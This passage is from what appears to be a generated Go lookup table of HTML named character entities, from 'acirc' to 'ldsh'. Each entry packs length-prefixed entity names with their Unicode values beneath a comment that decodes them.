			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
